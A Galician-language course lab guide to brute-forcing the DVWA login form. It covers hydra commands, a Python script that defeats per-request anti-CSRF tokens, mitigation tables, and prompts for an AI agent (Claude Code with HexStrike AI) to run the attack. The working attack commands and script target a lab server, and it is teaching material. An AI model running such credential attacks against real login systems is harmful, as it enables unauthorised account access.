$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_GET['username']);
$pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_GET['password']);
$pass = md5( $pass );

$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if( $result && mysqli_num_rows( $result ) == 1 ) {
echo "<p>Welcome to the password protected area {$user}</p>";

} else {
sleep( 2 ); // ← Retardo fixo de 2 segundos
echo "<pre>Username and/or password incorrect.</pre>";

}
}
?>
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NIVEL HIGH — TOKEN ANTI-CSRF POR PETICIÓN

O formulario pasa a usar  POST e inclúe un  user_token  único que cambia en cada petición. Os ataques simples con  hydra  fallan porque non

poden obter un token fresco antes de cada intento. O retardo pasa a ser aleatorio entre 0 e 3 segundos.

Código PHP:

Melloras: token anti-CSRF por petición, retardo aleatorio, mellor sanitización.

Problemas que persisten: sen límite de intentos, sen bloqueo de conta. O token pode extraerse automaticamente cun script Python.

NIVEL IMPOSSIBLE — SEN VULNERABILIDADE EXPLOTABLE

Implementa todas as capas de protección necesarias. O bloqueo de conta tras 3 intentos fallidos fai o ataque de forza bruta impracticable.

Código PHP:

<!-- Token visible no código fonte da páxina -->
<input type='hidden' name='user_token' value='a3f9b2c1d4e5...' />

<?php
if( isset( $_GET[ 'Login' ] ) ) {

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

$user = stripslashes( $_GET[ 'username' ] );
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
$pass = stripslashes( $_GET[ 'password' ] );
$pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);
$pass = md5( $pass );

$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if( $result && mysqli_num_rows( $result ) == 1 ) {
echo "<p>Welcome to the password protected area {$user}</p>";

} else {
sleep( rand(0, 3) ); // ← Retardo aleatorio 0-3s
echo "<pre>Username and/or password incorrect.</pre>";

}
}
generateSessionToken(); // ← Novo token para a seguinte petición
?>

<?php
if( isset( $_POST[ 'Login' ] ) ) {

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

$user = stripslashes( $_POST[ 'username' ] );
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
$pass = stripslashes( $_POST[ 'password' ] );
$pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);
$pass = md5( $pass );

// Prepared statement — elimina inxección SQL
$data = $db->prepare('SELECT failed_login, last_login FROM users

                          WHERE user = (:user) LIMIT 1;');
$data->bindParam(':user', $user, PDO::PARAM_STR);
$data->execute();
$row = $data->fetch();

// Bloqueo de conta: 3 fallos → 15 minutos
$account_locked = false;
if( $row['failed_login'] >= 3 &&

$row['last_login'] + (15 * 60) > time() ) {
$account_locked = true;

}

$data = $db->prepare('SELECT * FROM users WHERE user = (:user)
                          AND password = (:password) LIMIT 1;');

$data->bindParam(':user', $user, PDO::PARAM_STR);
$data->bindParam(':password', $pass, PDO::PARAM_STR);
$data->execute();

if( !$account_locked && $data->rowCount() == 1 ) {
$db->prepare('UPDATE users SET failed_login = "0"

                      WHERE user = (:user) LIMIT 1;')
->execute([':user' => $user]);

echo "<p>Welcome to the password protected area {$user}</p>";
} else {

sleep( rand(2, 4) ); // ← Retardo aleatorio 2-4s
echo "<pre>Username and/or password incorrect.</pre>";
$db->prepare('UPDATE users SET failed_login = (failed_login + 1)

                      WHERE user = (:user) LIMIT 1;')
->execute([':user' => $user]);
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Medidas de seguridade implementadas:

Comparativa de niveis

Medidas de mitigación recomendadas

1. Bloqueo de contas — Tras 3-5 fallos, bloquear temporalmente a conta.

2. Rate limiting — Retardos aleatorios e límite de intentos por IP nun período de tempo.

3.  Política  de  contrasinais —  Contrasinais  longos  e  complexos  verificados  contra  bases  de  datos  de  contrasinais  comprometidos

(HaveIBeenPwned).

4. MFA — Segundo factor de autenticación (TOTP, FIDO2, SMS).

5. CAPTCHA — Retos para distinguir humanos de bots, especialmente tras varios fallos.

6. Tokens anti-CSRF — Token único por sesión e petición.

7. Prepared Statements — PDO con bindParam()  para eliminar completamente a inxección SQL.

8. Logging e monitorización — Rexistrar fallos e alertar ante patróns anómalos.

9. WAF — Firewall de aplicación web que detecte e bloquee patróns de brute force.

}
}
generateSessionToken();
?>

Medida Implementación

Token anti-CSRF checkToken()  — token único por sesión e petición

Prepared statements PDO::prepare()  + bindParam()  — elimina SQLi

Sanitización completa stripslashes()  + mysqli_real_escape_string()

Retardo aleatorio sleep(rand(2,4))  — dificulta ataques temporais

Bloqueo de conta 3 fallos → bloqueo de 15 minutos

Contador de fallos Persistente en base de datos

Método POST Sen parámetros visibles na URL

Nivel Retardo Bloqueo Token CSRF Prepared Stmt Explotable?

Low ❌ Non ❌ Non ❌ Non ❌ Non ✅ Si (trivial)

Medium ⚠️ 2s fixos ❌ Non ❌ Non ❌ Non ✅ Si (lento)

High ⚠️ 0-3s aleatorio ❌ Non ✅ Si ❌ Non ✅ Si (script)

Impossible ✅ 2-4s aleatorio ✅ Si (3/15min) ✅ Si ✅ Si ❌ Non
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Glosario

Referencias

OWASP — Testing for Brute Force (OTG-AUTHN-003)

OWASP — Authentication Cheat Sheet

PortSwigger — Brute Force Attacks

SecLists — Wordlists para pentesting

hydra — Documentación oficial

HexStrike AI — Repositorio oficial

DVWA — Damn Vulnerable Web Application

Termo Definición

Brute Force Ataque que proba sistematicamente combinacións de credenciais ata

atopar a correcta

Wordlist Dicionario de contrasinais usados en ataques de forza bruta

PHPSESSID Identificador de sesión PHP gardado nunha cookie do navegador

CSRF Cross-Site Request Forgery — ataque que fai que un usuario

autenticado execute accións non desexadas nun sitio web. O token

anti-CSRF prevén este ataque verificando que cada petición provén do

formulario lexítimo da aplicación

Token anti-CSRF Valor único e secreto incluído en formularios para previr ataques

automatizados

Rate Limiting Limitación do número de peticións permitidas nun período de tempo

Prepared Statement Consulta SQL parametrizada que separa código de datos, prevenindo

inxección SQL

MFA Multi-Factor Authentication — autenticación con dous ou máis factores

independentes

hydra Cracker de login en rede con módulos para HTTP, SSH, FTP e outros

protocolos

http-get-form Módulo de hydra para atacar formularios web con método GET

WAF Web Application Firewall — firewall específico para protexer

aplicacións web

Credential stuffing Ataque que usa pares usuario/contrasinal filtrados de brechas

anteriores

MCP Model Context Protocol — protocolo que conecta Claude con

ferramentas externas

HexStrike AI Servidor MCP con 150+ ferramentas de ciberseguridade para Kali

Linux

• 

• 

• 

• 

• 

• 

• 
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3.1.2 Práctica 1a — Ataque de Forza Bruta con hydra sobre DVWA

Sección: Prácticas Taller

Módulo: O hacking ético nas aplicacións web

Práctica: 1a — Forza Bruta con hydra

Prerrequisito: Índice da práctica — conceptos e configuración

Seguinte práctica: 1b — Forza Bruta con HexStrike AI

Todo o contido desta práctica é para uso exclusivamente educativo nun contorno de laboratorio controlado e legal. Está terminantemente prohibido

aplicar estas técnicas en sistemas reais sen autorización explícita e por escrito do propietario do sistema. O uso non autorizado destas técnicas pode

constituír un delito penal.

Obxectivo desta práctica

Realizar o ataque de forza bruta nos catro niveis de DVWA usando hydra desde o terminal de Kali Linux, sen IA nin automatización adicional. O

obxectivo é comprender o mecanismo técnico de cada nivel antes de ver como HexStrike AI automatiza o mesmo proceso na práctica 1b.

Verificación inicial

HTTP Status DVWA: 200

hydra mostra a súa versión (ex: Hydra v9.6 )

Paso previo — Login e obtención da sesión

A explicación completa de por que DVWA require token CSRF está en Índice da práctica.

Información da práctica

Aviso legal

# Comprobar que DVWA está accesible
curl -s -o /dev/null -w "HTTP Status DVWA: %{http_code}\n" \

http://10.0.2.100/dvwa/login.php

# Verificar que hydra está dispoñible
hydra -V 2>/dev/null | head -2

Resultados esperados

• 

• 

Consulta o índice

# Crear ficheiro de cookies
COOKIEJAR=$(mktemp /tmp/dvwa_cookies_XXXXXX.txt)

# Paso 1: Obter token CSRF do login
TOKEN=$(curl -s -c "$COOKIEJAR" \

http://10.0.2.100/dvwa/login.php \
| grep -oP "user_token.*?value='\\K[^']+")

echo "Token login: $TOKEN"

# Paso 2: POST login
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST \

http://10.0.2.100/dvwa/login.php \
-d "username=admin&password=password&Login=Login&user_token=$TOKEN" \
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VERIFICAR O ACCESO

NIVEL LOW — Ataque directo con hydra

CONFIGURAR O NIVEL

IDENTIFICAR A MENSAXE DE FALLO

ATAQUE CON HYDRA

Hydra precisa o PHPSESSID  e o nivel de seguridade como cookie. Extráeos do ficheiro:

No nivel Low o formulario usa GET. O módulo http-get-form  de hydra é o axeitado.

-o /dev/null
echo "PHPSESSID: $(grep PHPSESSID $COOKIEJAR | awk '{print $7}')"

# Paso 3: Obter token CSRF de security.php
SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \

http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")

# Paso 4: Cambiar o nivel a low (con -L para seguir o redirect 302)
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \

http://10.0.2.100/dvwa/security.php \
-d "security=low&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"

echo "Ficheiro de cookies: $COOKIEJAR"

Resultado esperado

Token login: 782f8ee73c56a3d0ca112a469eff9343
PHPSESSID: qr70dpmtcv5p2s1btstl0odle6
Ficheiro de cookies: /tmp/dvwa_cookies_ffPTsm.txt

curl -s -b "$COOKIEJAR" \
-o /dev/null \
-w "HTTP Status Brute Force: %{http_code}\n" \
http://10.0.2.100/dvwa/vulnerabilities/brute/

Resultado esperado

HTTP Status Brute Force: 200

SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")

curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
http://10.0.2.100/dvwa/security.php \
-d "security=low&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"

curl -s -b "$COOKIEJAR" \
'http://10.0.2.100/dvwa/vulnerabilities/brute/?username=admin&password=test&Login=Login' \
| grep -o "Username and/or password incorrect"

PHPSESSID=$(grep PHPSESSID $COOKIEJAR | awk '{print $7}')
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O módulo http-get-form  usa :  como separador de campos. A cookie contén :  en security=low; PHPSESSID=valor , o que require:

Escapar o :  con \:  dentro de H=Cookie\:

Usar comiñas simples para o terceiro argumento

Concatenar $PHPSESSID fóra das comiñas simples

Poñer F=  ao final, despois da cookie

Parámetros clave:

NIVEL MEDIUM — Hydra adaptado ao retardo de 2 segundos

CONFIGURAR O NIVEL E MEDIR O RETARDO

ATAQUE CON HYDRA ADAPTADO

Sintaxe de hydra con cookies — \:  e orde dos campos

• 

• 

• 

• 

hydra -l admin \
-P /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt \
10.0.2.100 \
http-get-form \
'/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=low; PHPSESSID='${PHPSESSID}':F=Username and/or password 

incorrect' \
-V -t 16

Parámetro Significado

-l admin Usuario fixo a atacar

-P <wordlist> Ficheiro de contrasinais

http-get-form Módulo para formularios GET

H=Cookie\: security=low; PHPSESSID=... Cookie de sesión con :  escapado

F=Username and/or password incorrect Cadea que indica fallo — vai ao final

-V Verbose — mostra cada intento

-t 16 Threads en paralelo

Resultado esperado

[80][http-get-form] host: 10.0.2.100   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found

SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")

curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
http://10.0.2.100/dvwa/security.php \
-d "security=medium&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"

# Medir o retardo exacto
time curl -s -b "$COOKIEJAR" \

'http://10.0.2.100/dvwa/vulnerabilities/brute/?username=admin&password=test&Login=Login' \
-o /dev/null

Resultado esperado

real    0m2.029s
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NIVEL HIGH — Script Python (hydra non é suficiente)

POR QUE HYDRA NON FUNCIONA NO NIVEL HIGH?

O nivel High require obter un user_token  fresco antes de cada petición. Hydra non pode facer isto de forma fiable porque:

CONFIGURAR O NIVEL E OBSERVAR O TOKEN

Verás algo como: 

Cada vez que recargas a páxina o token cambia.

SCRIPT PYTHON CON XESTIÓN DE TOKENS

Garda este script como ~/dvwa-lab/brute_high.py :

PHPSESSID=$(grep PHPSESSID $COOKIEJAR | awk '{print $7}')

hydra -l admin \
-P /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt \
10.0.2.100 \
http-get-form \
'/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=medium; PHPSESSID='${PHPSESSID}':F=Username and/or password 

incorrect' \
-V -t 1 -W 2

Parámetro novo Significado

-t 1 Un único thread — ataque secuencial para evitar problemas co retardo

-W 2 Espera 2 segundos entre intentos

Resultado esperado

[80][http-get-form] host: 10.0.2.100   login: admin   password: password

Hydra (falla):
  Petición 1: token=abc123 → fallo (token válido pero contrasinal malo)
  Petición 2: token=abc123 → REXEITADO (token xa usado, caducou)
  Resultado: todos os intentos fallan por token inválido

Script Python (funciona):
  Intento 1: GET páxina → extraer token=abc123 → probar pass1 → fallo
  Intento 2: GET páxina → extraer token=xyz789 → probar pass2 → fallo
  Intento N: GET páxina → extraer token=def456 → probar passN → ÉXITO

SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")

curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
http://10.0.2.100/dvwa/security.php \
-d "security=high&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"

# Ver o token anti-CSRF na páxina de brute force
curl -s -b "$COOKIEJAR" \

http://10.0.2.100/dvwa/vulnerabilities/brute/ \
| grep "user_token"

<input type='hidden' name='user_token' value='a3f9b2c1d4e5...' />

#!/usr/bin/env python3
"""
Ataque de forza bruta DVWA nivel High con xestión de token anti-CSRF.
Práctica 1a — O hacking ético nas aplicacións web
"""

import requests
import re
import sys
from pathlib import Path
from time import time

TARGET_URL = "http://10.0.2.100/dvwa/vulnerabilities/brute/"
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LOGIN_URL = "http://10.0.2.100/dvwa/login.php"
SECURITY_URL = "http://10.0.2.100/dvwa/security.php"
USERNAME = "admin"
WORDLIST = "/usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt"
SUCCESS_MSG = "Welcome to the password protected area"

def login_dvwa(session: requests.Session) -> None:
"""Fai login en DVWA xestionando o token do formulario de login."""
r = session.get(LOGIN_URL)
match = re.search(r"user_token.*?value='([^']+)'", r.text)
token = match.group(1) if match else ""
session.post(LOGIN_URL, data={

"username": "admin",
"password": "password",
"Login": "Login",
"user_token": token

})

def set_security(session: requests.Session, level: str) -> None:
"""Establece o nivel de seguridade en DVWA."""
session.post(SECURITY_URL, data={

"security": level,
"seclev_submit": "Submit"

})

def get_csrf_token(session: requests.Session) -> str:
"""Obtén un token anti-CSRF FRESCO. Debe chamarse antes de CADA intento."""
r = session.get(TARGET_URL)
match = re.search(r"user_token.*?value='([^']+)'", r.text)
if match:

return match.group(1)
raise ValueError("[!] Non se puido extraer o token anti-CSRF")

def try_password(session: requests.Session, password: str) -> bool:
"""Proba un contrasinal con token fresco antes de cada intento."""
token = get_csrf_token(session)
r = session.get(TARGET_URL, params={

"username": USERNAME,
"password": password,
"Login": "Login",
"user_token": token

})
return SUCCESS_MSG in r.text

def main():
wordlist_path = Path(WORDLIST)
if not wordlist_path.exists():

print(f"[!] Non se atopa a wordlist: {WORDLIST}")
sys.exit(1)

session = requests.Session()
session.cookies.set("security", "high")

print("[*] Facendo login en DVWA...")
login_dvwa(session)
print(f"[*] PHPSESSID: {session.cookies.get('PHPSESSID')}")

print("[*] Configurando nivel HIGH...")
set_security(session, "high")

passwords = [p.strip() for p in
wordlist_path.read_text(encoding="latin-1").splitlines() if p.strip()]

total = len(passwords)

print(f"[*] Iniciando ataque con {total} contrasinais...")
print(f"[*] Fluxo: GET token → probar contrasinal → repetir")
print("-" * 60)

start = time()
for idx, password in enumerate(passwords, 1):

try:
print(f"[{idx:>4}/{total}] Probando: {password:<25}", end="\r")
if try_password(session, password):

elapsed = time() - start
print(f"\n[+] CONTRASINAL ATOPADO: '{password}'")
print(f"[+] Intentos realizados:  {idx}")
print(f"[+] Tempo transcorrido:   {elapsed:.1f}s")
sys.exit(0)

except Exception as e:
print(f"\n[!] Erro con '{password}': {e}")

print(f"\n[-] Non se atopou o contrasinal tras {total} intentos.")

if __name__ == "__main__":
main()
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EXECUTAR O SCRIPT

NIVEL IMPOSSIBLE — Verificar que non é explotable

POR QUE NON FUNCIONA O ATAQUE?

O nivel Impossible implementa bloqueo de conta persistente en base de datos: tras 3 intentos fallidos consecutivos, a conta queda bloqueada

durante 15 minutos. O contador non se resetea ao pechar o navegador nin ao iniciar unha nova sesión — só o tempo ou un reset manual na BD o

desbloquean.

Isto fai que calquera ataque de forza bruta sexa impracticable:

PASO 1 — CONFIGURAR O NIVEL IMPOSSIBLE

A sesión PHPSESSID caducou. Repite o proceso de login completo do inicio.

PASO 2 — RESETEAR O CONTADOR NA BD (SERVIDOR UBUNTU)

O porto 3306 non está exposto. O acceso á BD require SSH ao servidor Ubuntu.

O contador de fallos de  admin  pode ter valores acumulados de probas anteriores — incluídas as dos niveis Low, Medium e High desta mesma

práctica. Se o contador xa ten 3 ou máis fallos rexistrados desde unha proba anterior, a conta estará bloqueada desde o principio e todos os intentos

devolverán a mensaxe de bloqueo sen que poidamos observar a progresión real de 0 a 3 fallos. Por iso é imprescindible resetear o contador antes

de comezar esta sección.

mkdir -p ~/dvwa-lab
python3 ~/dvwa-lab/brute_high.py

Resultado esperado

[*] Facendo login en DVWA...
[*] PHPSESSID: abc123xyz...
[*] Configurando nivel HIGH...
[*] Iniciando ataque con 197 contrasinais...
[*] Fluxo: GET token → probar contrasinal → repetir
[   4/197] Probando: password
[+] CONTRASINAL ATOPADO: 'password'
[+] Intentos realizados:  4
[+] Tempo transcorrido:   8.3s

Hydra con 197 contrasinais e 16 threads:
  Intentos 1-3:   incorrect  (contador sobe a 3)
  Intento 4+:     conta bloqueada 15 min → hydra non atopa o contrasinal

SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")

curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
http://10.0.2.100/dvwa/security.php \
-d "security=impossible&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"

Resultado esperado

impossible

Se non aparece impossible

MySQL non acepta conexións remotas desde Kali
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Dentro de MySQL:

PASO 3 — DEMOSTRAR O BLOQUEO

Desde Kali, fai varios intentos con contrasinal incorrecto:

O servidor sempre inclúe a cadea incorrect  na resposta, mesmo cando a conta está bloqueada. O bloqueo engádese como mensaxe adicional. Para

velo completo usa este comando:

PASO 4 — VERIFICAR O CONTADOR NA BD TRAS O ATAQUE

Desde o servidor Ubuntu, confirma que o contador se incrementou:

# Acceder ao servidor Ubuntu
ssh usuario@10.0.2.100

# Entrar en MySQL
mysql -u dvwa -p dvwa
# Contrasinal da BD: p@ssw0rd

-- Verificar o estado actual do contador
SELECT user, failed_login, last_login FROM users WHERE user='admin';

-- Resetear o contador e o temporizador de bloqueo
UPDATE users SET failed_login=0, last_login=0 WHERE user='admin';

-- Confirmar que o reset se aplicou
SELECT user, failed_login, last_login FROM users WHERE user='admin';

Resultado esperado tras o UPDATE

+-------+--------------+---------------------+
| user  | failed_login | last_login          |
+-------+--------------+---------------------+
| admin |            0 | 0000-00-00 00:00:00 |
+-------+--------------+---------------------+

for i in {1..5}; do
BF_TOKEN=$(curl -s -b "$COOKIEJAR" \

http://10.0.2.100/dvwa/vulnerabilities/brute/ \
| grep -oP "user_token.*?value='\\K[^']+")

RESP=$(curl -s -b "$COOKIEJAR" -L \
-X POST \
-d "username=admin&password=test${i}&Login=Login&user_token=${BF_TOKEN}" \
http://10.0.2.100/dvwa/vulnerabilities/brute/)

echo "Intento $i: $(echo "$RESP" | grep -oE 'incorrect|locked' | head -1)"
done

Por que o loop mostra incorrect  en todos os intentos?

BF_TOKEN=$(curl -s -b "$COOKIEJAR" \
http://10.0.2.100/dvwa/vulnerabilities/brute/ \
| grep -oP "user_token.*?value='\\K[^']+")

curl -s -b "$COOKIEJAR" -L -X POST \
-d "username=admin&password=test_malo&Login=Login&user_token=${BF_TOKEN}" \
http://10.0.2.100/dvwa/vulnerabilities/brute/ \
| grep -oP '(?<=<pre>).*?(?=</pre>)' | sed 's/<[^>]*>//g'

Resultado esperado cando a conta está bloqueada

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in 15 minutes.

ssh usuario@10.0.2.100
mysql -u dvwa -p dvwa \

-e "SELECT user, failed_login, last_login FROM users WHERE user='admin';"
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failed_login=6  (ou superior) confirma que DVWA rexistrou os intentos na BD e que o bloqueo está activo. A conta permanecerá bloqueada ata que

last_login + 15 minutos > now()  ou ata que se resetee manualmente co UPDATE do Paso 2.

Resumo: ferramentas por nivel

Resultado esperado

+-------+--------------+---------------------+
| user  | failed_login | last_login          |
+-------+--------------+---------------------+
| admin |            6 | 2026-04-25 21:45:36 |
+-------+--------------+---------------------+

Nivel Ferramenta efectiva Motivo

Low hydra ✅ GET sen proteccións, sintaxe directa

Medium hydra ✅ ( -W 2 ) Retardo fixo, adaptable con -W

High Script Python ✅ · hydra ❌ Token anti-CSRF por petición

Impossible Ningunha ❌ Bloqueo de conta aos 3 fallos
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3.1.3 Práctica con AI

Práctica 1b — Ataque de Forza Bruta con HexStrike AI sobre DVWA

Sección: Prácticas Taller

Módulo: O hacking ético nas aplicacións web

Práctica: 1b — Forza Bruta con HexStrike AI + Claude Code

Prerrequisito obrigatorio:

- Instalación HexStrike AI

- Índice da práctica — conceptos e configuración

- 1a — Forza Bruta con hydra

Todo o contido desta práctica é para uso exclusivamente educativo nun contorno de laboratorio controlado e legal. Está terminantemente prohibido

aplicar estas técnicas en sistemas reais sen autorización explícita e por escrito do propietario do sistema. O uso non autorizado destas técnicas pode

constituír un delito penal.

OBXECTIVO DESTA PRÁCTICA

Na práctica 1a realizaches o ataque de forma manual, entendendo cada paso: obtención da sesión, estrutura da petición HTTP, papel do token anti-

CSRF e limitacións de cada nivel.

Nesta práctica repetirás o mesmo ataque delegando o traballo en HexStrike AI, que operará a través de Claude Code usando o protocolo MCP. O

obxectivo é comparar os dous enfoques e entender que fai HexStrike internamente en cada caso.

PARÁMETROS DO LABORATORIO

Información da práctica

Aviso legal

Parámetro Valor

URL DVWA http://10.0.2.100/dvwa/

Credenciais DVWA admin  / password

IP Atacante (Kali) 10.0.2.250

IP Obxectivo (DVWA) 10.0.2.100

Wordlist /usr/share/wordlists/seclists/Passwords/Common-Credentials/

2020-200_most_used_passwords.txt
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COMO FUNCIONA HEXSTRIKE AI NESTA PRÁCTICA

HexStrike xestiona automaticamente o login en DVWA, a obtención do PHPSESSID , a configuración do nivel e o lanzamento do ataque axeitado para

cada nivel.

VERIFICACIÓN INICIAL

1. Comprobar que o servidor HexStrike está en execución

Ti — Claude Code
Prompt en linguaxe natural

Claude
Analiza a tarefa e decide que ferramentas usar

hexstrike_mcp.py ↔ hexstrike_server.py
Protocolo MCP — API REST localhost:8888

Execución de ferramentas en Kali
curl → login DVWA → obtén PHPSESSID

hydra / script Python → ataque brute force

Claude
Presenta o resultado e explica o proceso

curl http://localhost:8888/health
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Se non responde, arranca o servidor segundo a opción de instalación que fixeches:

2. Comprobar que DVWA está accesible

3. Arrancar Claude Code con HexStrike MCP

Dentro de Claude Code, verifica que HexStrike está conectado:

Debe aparecer hexstrike-ai  con estado connected .

COMO FORMULAR OS PROMPTS A HEXSTRIKE AI

Para que HexStrike opere correctamente dentro de DVWA, o prompt debe incluír sempre:

O teu rol e o contexto legal do laboratorio

A URL de DVWA e as credenciais de acceso

O nivel de seguridade a configurar

O obxectivo concreto (usuario a atacar, wordlist a usar)

Que HexStrike xestione o login ou facilitar o PHPSESSID se xa o tes

Omitir calquera destes puntos pode facer que HexStrike non consiga acceder á zona protexida de DVWA.

NIVEL LOW — ATAQUE DIRECTO SEN PROTECCIÓNS

Contexto

No nivel Low non hai token anti-CSRF nin retardo. 

Resultado esperado

{
"status": "healthy",
"message": "HexStrike AI Tools API Server is operational",
"version": "6.0.0",
"total_tools_available": 78,
"total_tools_count": 127,
"all_essential_tools_available": true

}

# Opción A (apt)
hexstrike_server

# Opción B (GitHub)
cd ~/hexstrike-ai && source hexstrike-env/bin/activate && python3 hexstrike_server.py

curl -s -o /dev/null -w "HTTP Status DVWA: %{http_code}\n" \
http://10.0.2.100/dvwa/login.php

Resultado esperado

HTTP Status DVWA: 200

cd ~/dvwa-lab
claude

/mcp

Estrutura dun bo prompt para HexStrike

1. 

2. 

3. 

4. 

5. 
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Prompt para Claude Code

Copia e pega este prompt dentro de claude :

Que fará HexStrike internamente

O proceso real que executa automaticamente é o seguinte:

Paso 1 — Login en DVWA con xestión do token CSRF

O formulario de login de DVWA require un token CSRF. HexStrike detecta isto e fai primeiro un GET para obtelo, e despois o POST de login:

Son un estudante de ciberseguridade traballando nun laboratorio
controlado e legal. A aplicación DVWA en http://10.0.2.100/dvwa/
pertence ao contorno de prácticas do meu curso.

Quero realizar un ataque de forza bruta contra o formulario de
autenticación de DVWA usando as ferramentas hexstrike-ai MCP.

Pasos que necesito que fagas:
1. Fai login en DVWA (http://10.0.2.100/dvwa/login.php) coas
   credenciais admin/password e obtén o PHPSESSID.
2. Configura o nivel de seguridade en Low.
3. Verifica que a sección Brute Force é accesible con esa sesión.
4. Executa un ataque de forza bruta contra o usuario admin usando
   a wordlist /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt
5. Informa do contrasinal atopado.
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Paso 2 — Detección do nivel de seguridade e cambio a Low

Tras o login exitoso como admin , HexStrike detecta que o nivel actual é impossible  e procede a cambialo a low . Isto require tamén xestionar

tokens CSRF no formulario de seguridade:
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Paso 3 — Verificación do acceso á sección Brute Force

HexStrike confirma que a sección é accesible e identifica a mensaxe de fallo que usará para filtrar os intentos incorrectos:
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Paso 4 — Ataque de forza bruta con Hydra (e adaptación ao problema do separador)

HexStrike verifica a wordlist (197 contrasinais) e decide lanzar Hydra. Durante a execución atopa un problema coa sintaxe do parámetro H=Cookie:

xa que o carácter :  é o separador do módulo http-get-form  de Hydra:
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HexStrike abandona Hydra temporalmente e crea un script bash con curl en loop como solución alternativa:

Resultado final
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O ataque complétase con éxito. O contrasinal password  é atopado na posición 4ª da wordlist:

Tras completar o ataque, o usuario identifica que o problema con Hydra se podería ter resolto escapando o carácter :  con \: . Claude confirma

que é correcto e amosa como funcionaría:
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No  módulo  http-get-form  de  Hydra,  o  carácter  :  é  o  separador  de  campos.  Cando  a  cookie  de  sesión  contén  :  (como  security=low;  

PHPSESSID=valor ), provoca un conflito. A solución é escapar o carácter con \: : 

Resultado esperado

Nota técnica sobre Hydra v9.6 e o separador :

hydra -l admin \
-P /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt \
10.0.2.100 \
http-get-form \
'/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie\: security=low; PHPSESSID=<valor>' \
-V -t 16
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NIVEL MEDIUM — ADAPTACIÓN AO RETARDO DE 2 SEGUNDOS

Contexto

O servidor introduce un retardo fixo de 2 segundos en cada fallo. Na práctica 1a resolvéchelo con  hydra -W 2 ; aquí delegas en HexStrike a

detección do retardo e a adaptación automática do ataque.

Prompt para Claude Code

Que fará HexStrike internamente

Paso 1 — Login con xestión do token CSRF

O login de DVWA require token CSRF. HexStrike detecta isto e fai primeiro un GET para obtelo, logo o POST de login:

[80][http-get-form] host: 10.0.2.100   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found

Paso Resultado

1. Login DVWA Sesión establecida — PHPSESSID obtido

2. Nivel de seguridade Cambiado a low correctamente

3. Acceso á sección Brute Force Confirmado — resposta Username and/or password incorrect  con

credenciais erróneas

4. Ataque de forza bruta 197 contrasinais probados da wordlist

5. Contrasinal atopado password  (4ª entrada da wordlist)

Son un estudante de ciberseguridade traballando nun laboratorio
controlado e legal. A aplicación DVWA en http://10.0.2.100/dvwa/
pertence ao contorno de prácticas do meu curso.

Usa as ferramentas hexstrike-ai MCP para:
1. Facer login en DVWA coas credenciais admin/password.
2. Configurar o nivel de seguridade en Medium.
3. Medir o retardo que introduce o servidor nos intentos fallidos.
4. Executar un ataque de forza bruta contra o usuario admin adaptado
   a ese retardo, usando a wordlist
   /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt
5. Informar do contrasinal atopado e do tempo total do ataque.
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Paso 2 — Cambio de nivel a Medium con token CSRF

O formulario de security.php  tamén require token CSRF. HexStrike xestiona o ciclo GET→POST:
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Paso 3 — Medición do retardo

Con nivel Medium confirmado, HexStrike mide o retardo real do servidor con 3 intentos fallidos consecutivos:
